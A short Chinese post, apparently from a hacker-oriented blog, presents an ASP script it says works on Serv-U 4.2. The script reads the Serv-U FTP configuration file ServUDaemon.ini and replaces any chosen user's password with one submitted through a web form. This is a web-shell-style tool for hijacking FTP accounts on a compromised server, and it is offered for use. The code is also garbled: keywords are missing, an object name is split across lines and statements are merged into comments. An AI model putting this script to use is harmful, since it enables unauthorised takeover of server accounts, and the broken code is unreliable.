以下代码在Serv-U 4.2上测试有效
<%
\' |###########################|
\' | 网海求生者QQ:54883661 |
\' | mail:[email protected] |
\' |###########################|
inipath=\"D:\\Program Files\\Serv-U\\ServUDaemon.ini\" \'设置ServUDaemon.ini文件路径
user=\"[USER=\"&request(\"user\")&\"|1]\"
pass=\"Password=\"&request(\"pass\")
key=request(\"key\")
key<>\"\" then dim os,userlong,passlong,pl,s,ss
Set fso=CreateObject(\"scripting.File
Object\") 
os=fso.opentextfile(inipath,1) \'读取ServUDaemon.ini s=os.readall
os.close
userlong=instr(s,user)+len(user)+2
for i=userlong to userlong+20
passlong=passlong+1
asc(mid(s,i,1))=13 then exit for
end
next
pl=mid(s,userlong,passlong-1)
ss=Replace(s,user&chr(13)&chr(10)&pl,user&chr(13)&chr(10)&pass)
os=fso.createtextfile(inipath,true) \'写入ServUDaemon.ini os.write ss
os.close
end
%>
<form method=\"post\">
用户名:<input type=\"text\" name=\"user\"><br>
新密码:<input type=\"text\" name=\"pass\"><br>
<input type=\"submit\" name=\"key\" value=\"修改\"><br>
</form>
最新评论